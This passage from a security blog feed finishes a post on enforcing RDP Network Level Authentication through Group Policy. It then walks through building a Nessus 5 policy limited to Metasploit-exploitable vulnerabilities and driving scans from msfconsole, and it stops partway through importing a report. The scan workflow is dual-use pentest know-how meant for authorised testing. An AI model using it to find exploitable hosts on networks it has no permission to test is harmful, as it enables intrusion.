way using Group Policy.</p>  <h2>Configuring a GPO for NLA</h2>  <p>In this example I will show how to configure a GPO for issuing a Certificate to each host in the Domain and Configure NLA authentication for RDP. In a production environment you may wish to separate these or keep them in one policy depending on your AD design. </p>  <p>Lets start by selecting from<strong> Administrative Tools</strong> the <strong>Group Policy Management</strong> tool:</p>  <p><a href="http://www.darkoperator.com/resource/Windows-Live-Writer-Configuring-y_948B-?fileId=17176297" rel="lightbox"><img style="background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://www.darkoperator.com/resource/Windows-Live-Writer-Configuring-y_948B-?fileId=17176299" width="649" height="688" /></a></p>  <p>On the tool we create a New Group Policy Object:</p>  <p><a href="http://www.darkoperator.com/resource/Windows-Live-Writer-Configuring-y_948B-?fileId=17176300" rel="lightbox"><img style="background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://www.darkoperator.com/resource/Windows-Live-Writer-Configuring-y_948B-?fileId=17176302" width="708" height="495" /></a></p>  <p>We give this policy a Name:</p>  <p><a href="http://www.darkoperator.com/resource/Windows-Live-Writer-Configuring-y_948B-?fileId=17176303" rel="lightbox"><img style="background-image: none; border-right-width: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://www.darkoperator.com/resource/Windows-Live-Writer-Configuring-y_948B-?fileId=17176304" width="394" height="174" /></a></p>  <p>Once created we edit this policy by right clicking on it an selecting Edit:</p>  <p><a href="http://www.darkoperator.com/resource/Windows-Live-Writer-Configuring-y_948B-?fileId=17176305" rel="lightbox"><img style="background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://www.darkoperator.com/resource/Windows-Live-Writer-Configuring-y_948B-?fileId=17176307" width="733" height="515" /></a></p>  <p>Now we select <strong>Computer Configuration/Policies/Windows Settings/Public Key Policies/Automatic Certificate Request Settings</strong>:</p>  <p><a href="http://www.darkoperator.com/resource/Windows-Live-Writer-Configuring-y_948B-?fileId=17176309" rel="lightbox"><img style="background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://www.darkoperator.com/resource/Windows-Live-Writer-Configuring-y_948B-?fileId=17176311" width="689" height="493" /></a></p>  <p>We now right click on <strong>Automatic Certificate Request Setting</strong> and select to create a new <strong>Automatic Certificate Request</strong>, this will request to the CA a new Computer Certificate and renew the certificate when it expires automatically. </p>  <p><a href="http://www.darkoperator.com/resource/Windows-Live-Writer-Configuring-y_948B-?fileId=17176313" rel="lightbox"><img style="background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://www.darkoperator.com/resource/Windows-Live-Writer-Configuring-y_948B-?fileId=17176314" width="689" height="492" /></a></p>  <p>When the wizard starts we click <strong>Next</strong> then we select <strong>Computer</strong> Certificate Template:</p>  <p><a href="http://www.darkoperator.com/resource/Windows-Live-Writer-Configuring-y_948B-?fileId=17176315" rel="lightbox"><img style="background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://www.darkoperator.com/resource/Windows-Live-Writer-Configuring-y_948B-?fileId=17176317" width="468" height="360" /></a></p>  <p>We click on <strong>Next</strong> and then on <strong>Finish</strong>. Now we select <strong>Computer Configuration/Policies/Windows Settings/Public Key Policies </strong>under that node we double click on <strong>Certificate Services Client – Auto-Enrollment</strong> we now select on the properties under Configuration Model we select Enable and make sure that the boxes for managing certificates in the store and for updating the certificate if the template is modified.</p>  <p><a href="http://www.darkoperator.com/resource/Windows-Live-Writer-Configuring-y_948B-?fileId=17176318" rel="lightbox"><img style="background-image: none; border-right-width: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://www.darkoperator.com/resource/Windows-Live-Writer-Configuring-y_948B-?fileId=17176319" width="399" height="444" /></a></p>  <p>Now we have finished the section that will cover the certificate assignment for computers that get this GPO applied to.</p>  <p>For configuring RDP to use NLA we now go to <strong>Computer Configuration/Policies/Administrative Templates/Windows Components/Remote Desktop Settings/Remote Desktop Session Host/Security</strong></p>  <p><a href="http://www.darkoperator.com/resource/Windows-Live-Writer-Configuring-y_948B-?fileId=17176320" rel="lightbox"><img style="background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://www.darkoperator.com/resource/Windows-Live-Writer-Configuring-y_948B-?fileId=17176321" width="808" height="586" /></a></p>  <p>Select <strong>Require user authentication for remote connections by using Network Level Authentication</strong> and double click on it. On the properties screen select <strong>Enable </strong>and click on<strong> OK.</strong></p>  <p>Now lets configure the client settings to make sure that we always select to warn in the case the host certificate con not be authenticated. We select <strong>Computer Configuration/Policies/Administrative Templates/Windows Components/Remote Desktop Settings/Remote Desktop Connection Client</strong></p>  <p>We double click on <strong>Configure Authentication for Client</strong> </p>  <p><a href="http://www.darkoperator.com/resource/Windows-Live-Writer-Configuring-y_948B-?fileId=17176322" rel="lightbox"><img style="background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://www.darkoperator.com/resource/Windows-Live-Writer-Configuring-y_948B-?fileId=17176323" width="721" height="524" /></a></p>  <p>Select <strong>Enable</strong> and set the Option to <strong>Warn me if authentication fails</strong></p>  <p><a href="http://www.darkoperator.com/resource/Windows-Live-Writer-Configuring-y_948B-?fileId=17176324" rel="lightbox"><img style="background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://www.darkoperator.com/resource/Windows-Live-Writer-Configuring-y_948B-?fileId=17176325" width="574" height="524" /></a></p>  <p>Click on <strong>OK</strong> and close the screen. Know you should have a proper policy that cam be applied, but before we apply the policy we have to give permission on the <strong>Domain Computers</strong> group in the domain the permission to apply it:</p>  <p><a href="http://www.darkoperator.com/resource/Windows-Live-Writer-Configuring-y_948B-?fileId=17176326" rel="lightbox"><img style="background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://www.darkoperator.com/resource/Windows-Live-Writer-Configuring-y_948B-?fileId=17176329" width="684" height="476" /></a></p>  <p>&#160;</p>  <p>And now we have a GPO that can be linked to any Domain in the forest or Organization Unit. Once applied when a connection is made we can see the security in use by clicking on the lock on the top of a Remote Desktop Session in Windows and it will tell us how we where authenticated:</p>  <p><a href="http://www.darkoperator.com/resource/Windows-Live-Writer-Configuring-y_948B-?fileId=17176330" rel="lightbox"><img style="background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://www.darkoperator.com/resource/Windows-Live-Writer-Configuring-y_948B-?fileId=17176333" width="461" height="183" /></a></p>  <p>On those host that do not have RDP enabled you will see that the only option available is to use NLA</p>  <p><a href="http://www.darkoperator.com/resource/Windows-Live-Writer-Configuring-y_948B-?fileId=17176336" rel="lightbox"><img style="background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://www.darkoperator.com/resource/Windows-Live-Writer-Configuring-y_948B-?fileId=17176338" width="392" height="444" /></a></p>  <p>&#160;</p>  <p>As always I hope you find this blog post informative and useful. </p>]]></content></entry><entry><title>Nessus 5 Making My Pentesting Workflow Easier</title><id>http://www.darkoperator.com/blog/2012/2/16/nessus-5-making-my-pentesting-workflow-easier.html</id><link rel="alternate" type="text/html" href="http://www.darkoperator.com/blog/2012/2/16/nessus-5-making-my-pentesting-workflow-easier.html"/><author><name>Carlos Perez</name></author><published>2012-02-16T22:57:14Z</published><updated>2012-02-16T22:57:14Z</updated><content type="html" xml:lang="en-US"><![CDATA[<p>With the recent release of Nessus 5 it comes with several improvements like better filtering in policy creation, analysis, reporting and a faster lighter engine for scanning. From this new features my favorite one is the ability to do filtering when creating new policies and analyzing results. For a very long time I kept a hand written list of plugins IDs that identified some of the most common found vulnerabilities that Metasploit covered for user with nessuscmd in my engagement. Now with the new filtering features that lets me select only those checks that cover vulnerabilities whose exploits are in exploit Frameworks like Core Impact and CANVAS, also one can filter for remote exploits or local ones also. In this blog post I will cover how to create a policy that covers all exploits found in Metasploit both local and remote. We will start by logging in to Nessus web interface and clicking on the Policies. <a href="http://www.darkoperator.com/resource/Windows-Live-Writer-1af9dc751b7f_BB10-?fileId=16641848" rel="lightbox"><img style="background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px" title="Screen Shot 2012-02-16 at 11.34.26 AM" border="0" alt="Screen Shot 2012-02-16 at 11.34.26 AM" src="http://www.darkoperator.com/resource/Windows-Live-Writer-1af9dc751b7f_BB10-?fileId=16641849" width="705" height="441" /></a></p>  <p>Once in policies we click on <strong>Add</strong> to be brought to the following screes where we can create one, we will put a name and brief description on the policy and let the rest as default:</p>  <p>&#160;</p>  <p><a href="http://www.darkoperator.com/resource/Windows-Live-Writer-1af9dc751b7f_BB10-?fileId=16641852" rel="lightbox"><img style="background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px" title="Screen Shot 2012-02-16 at 11.35.51 AM" border="0" alt="Screen Shot 2012-02-16 at 11.35.51 AM" src="http://www.darkoperator.com/resource/Windows-Live-Writer-1af9dc751b7f_BB10-?fileId=16641853" width="730" height="456" /></a></p>  <p>We can go to the next section by clicking on <strong>Next </strong>and on this screen we can enter any credentials we may have as well as NTLM hashes for Windows credentials in the passwords field allowing for enumerating local vulnerabilities that might be on the target:</p>  <p>&#160;</p>  <p><a href="http://www.darkoperator.com/resource/Windows-Live-Writer-1af9dc751b7f_BB10-?fileId=16641854" rel="lightbox"><img style="background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px" title="Screen Shot 2012-02-16 at 11.36.15 AM" border="0" alt="Screen Shot 2012-02-16 at 11.36.15 AM" src="http://www.darkoperator.com/resource/Windows-Live-Writer-1af9dc751b7f_BB10-?fileId=16641855" width="731" height="457" /></a></p>  <p>We now move to the plugin section by clicking on <strong>Next</strong>:</p>  <p><a href="http://www.darkoperator.com/resource/Windows-Live-Writer-1af9dc751b7f_BB10-?fileId=16641856" rel="lightbox"><img style="background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px" title="Screen Shot 2012-02-16 at 11.36.29 AM" border="0" alt="Screen Shot 2012-02-16 at 11.36.29 AM" src="http://www.darkoperator.com/resource/Windows-Live-Writer-1af9dc751b7f_BB10-?fileId=16641858" width="711" height="444" /></a></p>  <p>We start by clicking on&#160; <strong>Disable All</strong> and then click on <strong>Add Filter</strong> to create a new filter for the plugins<strong>.</strong> we set the filter for <strong>Metasploit Exploit Framework,</strong>set the action&#160; <strong>is equal to</strong> and value to <strong>true, </strong>we then click on <strong>Save</strong> to apply the filter<strong>:</strong></p>  <p><a href="http://www.darkoperator.com/resource/Windows-Live-Writer-1af9dc751b7f_BB10-?fileId=16641859" rel="lightbox"><img style="background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px" title="Screen Shot 2012-02-16 at 11.36.54 AM" border="0" alt="Screen Shot 2012-02-16 at 11.36.54 AM" src="http://www.darkoperator.com/resource/Windows-Live-Writer-1af9dc751b7f_BB10-?fileId=16641860" width="711" height="443" /></a></p>  <p>To enable the plugins in each family we click on the family name text being careful not to click in the circle beside the name and then we click on <strong>Enable Plugins </strong>at the top of the plugin list:<strong>&#160;<a href="http://www.darkoperator.com/resource/Windows-Live-Writer-1af9dc751b7f_BB10-?fileId=16641862" rel="lightbox"><img style="background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px" title="Screen Shot 2012-02-16 at 11.37.14 AM" border="0" alt="Screen Shot 2012-02-16 at 11.37.14 AM" src="http://www.darkoperator.com/resource/Windows-Live-Writer-1af9dc751b7f_BB10-?fileId=16641864" width="727" height="453" /></a></strong></p>  <p>Now we click on <strong>Next</strong> then on <strong>Save</strong> to save the policy.</p>  <p>Once saved we can use the nessus plugin from the console to connect to the scanner and use it from inside Metasploit. You can use the console in Armitage, MSFConsole or the one in Metasploit Community/Pro/Express to load the plugin for use:</p>  <pre style="border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #c0c0c0; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px"><pre style="background-color: #c0c0c0; margin: 0em; width: 100.14%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; height: 22px; font-size: 11px">msf &gt; <strong>load nessus</strong> 
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100.14%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; height: 21px; font-size: 11px">[*] Nessus Bridge for Metasploit 1.1
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100.14%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; height: 22px; font-size: 11px">[+] Type nessus_help for a command listing
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">[*] Successfully loaded plugin: nessus</pre></pre>

<p><style type="text/css">




.csharpcode, .csharpcode pre
{
	font-size: small;
	color: black;
	font-family: consolas, "Courier New", courier, monospace;
	background-color: #ffffff;
	/*white-space: pre;*/
}
.csharpcode pre { margin: 0em; }
.csharpcode .rem { color: #008000; }
.csharpcode .kwrd { color: #0000ff; }
.csharpcode .str { color: #006080; }
.csharpcode .op { color: #0000c0; }
.csharpcode .preproc { color: #cc6633; }
.csharpcode .asp { background-color: #ffff00; }
.csharpcode .html { color: #800000; }
.csharpcode .attr { color: #ff0000; }
.csharpcode .alt 
{
	background-color: #f4f4f4;
	width: 100%;
	margin: 0em;
}
.csharpcode .lnum { color: #606060; }</style></p>

<p>Once the plugin is loaded we can connect to the host that is running the Nessus server using the <strong>nessus_connect</strong> command and list the policies we have available to us with <strong>nessus_policy_list</strong>:</p>

<pre style="border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #c0c0c0; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px"><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">msf &gt; <strong>nessus_connect carlos:contasena@localhost ok</strong>
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100.14%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; height: 19px; font-size: 11px">[*] Connecting to https://localhost:8834/ as carlos
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100.14%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; height: 25px; font-size: 11px">[*] Authenticated
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100.14%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; height: 21px; font-size: 11px">msf &gt; <strong>nessus_policy_list</strong> 
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100.14%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; height: 20px; font-size: 11px">[+] Nessus Policy List
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100.14%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; height: 19px; font-size: 11px">[+] 
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px"></pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100.14%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; height: 17px; font-size: 11px">ID  Name                        Comments
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100.14%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; height: 22px; font-size: 11px">--  ----                        --------
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100.14%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; height: 23px; font-size: 11px">-1  External Network Scan       
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100.14%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; height: 20px; font-size: 11px">-2  Internal Network Scan       
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100.14%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; height: 22px; font-size: 11px">-3  Prepare for PCI DSS audits  
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100.14%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; height: 22px; font-size: 11px">-4  Web App Tests               
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">6   Metasploit Exploits         </pre></pre>
<style type="text/css">




.csharpcode, .csharpcode pre
{
	font-size: small;
	color: black;
	font-family: consolas, "Courier New", courier, monospace;
	background-color: #ffffff;
	/*white-space: pre;*/
}
.csharpcode pre { margin: 0em; }
.csharpcode .rem { color: #008000; }
.csharpcode .kwrd { color: #0000ff; }
.csharpcode .str { color: #006080; }
.csharpcode .op { color: #0000c0; }
.csharpcode .preproc { color: #cc6633; }
.csharpcode .asp { background-color: #ffff00; }
.csharpcode .html { color: #800000; }
.csharpcode .attr { color: #ff0000; }
.csharpcode .alt 
{
	background-color: #f4f4f4;
	width: 100%;
	margin: 0em;
}
.csharpcode .lnum { color: #606060; }</style>

<p>We can now use the policy to perform a scan of a network by using the policy ID, name for the scan and specifying a range using the <strong>nessus_scan_new</strong> command:</p>

<pre style="border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #c0c0c0; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px"><pre style="background-color: #c0c0c0; margin: 0em; width: 100.14%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; height: 23px; font-size: 11px">msf &gt; <strong>nessus_scan_new 6 &quot;contoso pentest&quot; 192.168.1.1-241</strong>
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100.14%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; height: 23px; font-size: 11px">[*] Creating scan from policy number 6, called &quot;contoso pentest&quot; and scanning 192.168.1.1-241
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">[*] Scan started.  uid is 396a6c4f-e8ab-c752-6ee1-5bc3c13303df24456a407318b554</pre></pre>

<p>We can monitor the status of the scan using the command <strong>nessus_scan_status</strong>:</p>

<pre class="csharpcode">&#160;</pre>
<style type="text/css">




.csharpcode, .csharpcode pre
{
	font-size: small;
	color: black;
	font-family: consolas, "Courier New", courier, monospace;
	background-color: #ffffff;
	/*white-space: pre;*/
}
.csharpcode pre { margin: 0em; }
.csharpcode .rem { color: #008000; }
.csharpcode .kwrd { color: #0000ff; }
.csharpcode .str { color: #006080; }
.csharpcode .op { color: #0000c0; }
.csharpcode .preproc { color: #cc6633; }
.csharpcode .asp { background-color: #ffff00; }
.csharpcode .html { color: #800000; }
.csharpcode .attr { color: #ff0000; }
.csharpcode .alt 
{
	background-color: #f4f4f4;
	width: 100%;
	margin: 0em;
}
.csharpcode .lnum { color: #606060; }</style>

<pre style="border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #c0c0c0; min-height: 40px; padding-left: 5px; width: 800px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px"><pre style="background-color: #c0c0c0; margin: 0em; width: 100.11%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; height: 25px; font-size: 11px">msf &gt; <strong>nessus_scan_status</strong> 
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100.11%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; height: 24px; font-size: 11px">[+] Running Scans
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100.11%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; height: 28px; font-size: 11px">[+] 
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px"></pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100.11%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; height: 19px; font-size: 11px">Scan ID                                               Name             Owner   Started            Status   Current Hosts  Total Hosts
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100.11%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; height: 17px; font-size: 11px">-------                                               ----             -----   -------            ------   -------------  -----------
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100.11%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; height: 22px; font-size: 11px">396a6c4f-e8ab-c752-6ee1-5bc3c13303df24456a407318b554  contoso pentest  carlos  11:53 Feb 16 2012  running  217            241
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px"></pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100.11%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; height: 22px; font-size: 11px">[+] 
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px"></pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100.11%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; height: 23px; font-size: 11px">[*] You can:
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100.11%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; height: 21px; font-size: 11px">[+]         Import Nessus report to database :     nessus_report_get <span style="color: #0000ff">&lt;</span><span style="color: #800000">reportid</span><span style="color: #0000ff">&gt;</span>
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100.11%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; height: 24px; font-size: 11px">[+]         Pause a nessus scan :             nessus_scan_pause <span style="color: #0000ff">&lt;</span><span style="color: #800000">scanid</span><span style="color: #0000ff">&gt;</span>
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">msf &gt;</pre></pre>

<p>Once we can see that the scan is no longer running we can access the report using from the scan using the <strong>nessus_report_list</strong> command to see its name and ID:</p>

<pre style="border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #c0c0c0; min-height: 40px; padding-left: 5px; width: 800px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px"><pre style="background-color: #c0c0c0; margin: 0em; width: 100.11%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; height: 22px; font-size: 11px">msf &gt; <strong>nessus_report_list</strong> 
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100.11%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; height: 19px; font-size: 11px">[+] Nessus Report List
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100.11%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; height: 22px; font-size: 11px">[+] 
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100.11%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; height: 21px; font-size: 11px">ID                                                    Name             Status     Date
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100.11%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; height: 21px; font-size: 11px">--                                                    ----             ------     ----
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100.11%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; height: 24px; font-size: 11px">396a6c4f-e8ab-c752-6ee1-5bc3c13303df24456a407318b554  contoso pentest  completed  11:58 Feb 16 2012
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px"></pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100.11%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; height: 21px; font-size: 11px">[*] You can:
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">[*]         Get a list of hosts from the report:          nessus_report_hosts <span style="color: #0000ff">&lt;</span><span style="color: #800000">report</span> <span style="color: #ff0000">id</span><span style="color: #0000ff">&gt;</span></pre></pre>
<style type="text/css">




.csharpcode, .csharpcode pre
{
	font-size: small;
	color: black;
	font-family: consolas, "Courier New", courier, monospace;
	background-color: #ffffff;
	/*white-space: pre;*/
}
.csharpcode pre { margin: 0em; }
.csharpcode .rem { color: #008000; }
.csharpcode .kwrd { color: #0000ff; }
.csharpcode .str { color: #006080; }
.csharpcode .op { color: #0000c0; }
.csharpcode .preproc { color: #cc6633; }
.csharpcode .asp { background-color: #ffff00; }
.csharpcode .html { color: #800000; }
.csharpcode .attr { color: #ff0000; }
.csharpcode .alt 
{
	background-color: #f4f4f4;
	width: 100%;
	margin: 0em;
}
.csharpcode .lnum { color: #606060; }</style>

<p>Now that we have the report ID we can import it but before we do that we must first create a workspace to hose the data so as to keep it separated from any other data we may already be housing in the Metasploit default wroksapace and we use the <strong>nessus_report_get</strong> command to import the report:</p>

<pre style="border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #c0c0c0; min-height: 40px; padding-left: 5px; width: 800px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px"><pre style="background-color: #c0c0c0; margin: 0em; width: 100.11%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; height: 22px; font-size: 11px">msf &gt; <strong>workspace -a contoso</strong>
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100.11%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; height: 24px; font-size: 11px">[*] Added workspace: contoso
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100.11%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; height: 21px; font-size: 11px">msf &gt; <strong>nessus_report_get 396a6c4f-e8ab-c752-6ee1-5bc3c13303df24456a407318b554</strong>
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100.11%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; height: 22px; font-size: 11px">[*] importing 396a6c4f-e8ab-c752-6ee1-5bc3c13303df24456a407318b554
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100.11%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; height: 20px; font-size: 11px">[*] 192.168.1.99
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100.11%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; height: 21px; font-size: 11px">[*] 192.168.1.241
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100.11%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; height: 18px; font-size: 11px">[*] 192.168.1.237
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100.11%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; height: 20px; font-size: 11px">[*] 192.168.1.235
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100.11%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; height: 19px; font-size: 11px">[*] 192.168.1.234
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100.11%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; height: 20px; font-size: 11px">[*] 192.168.1.230
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100.11%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; height: 21px; font-size: 11px">[*] 192.168.1.223
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100.23%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; height: 22px; font-size: 11px">[*] 192.168.1.2
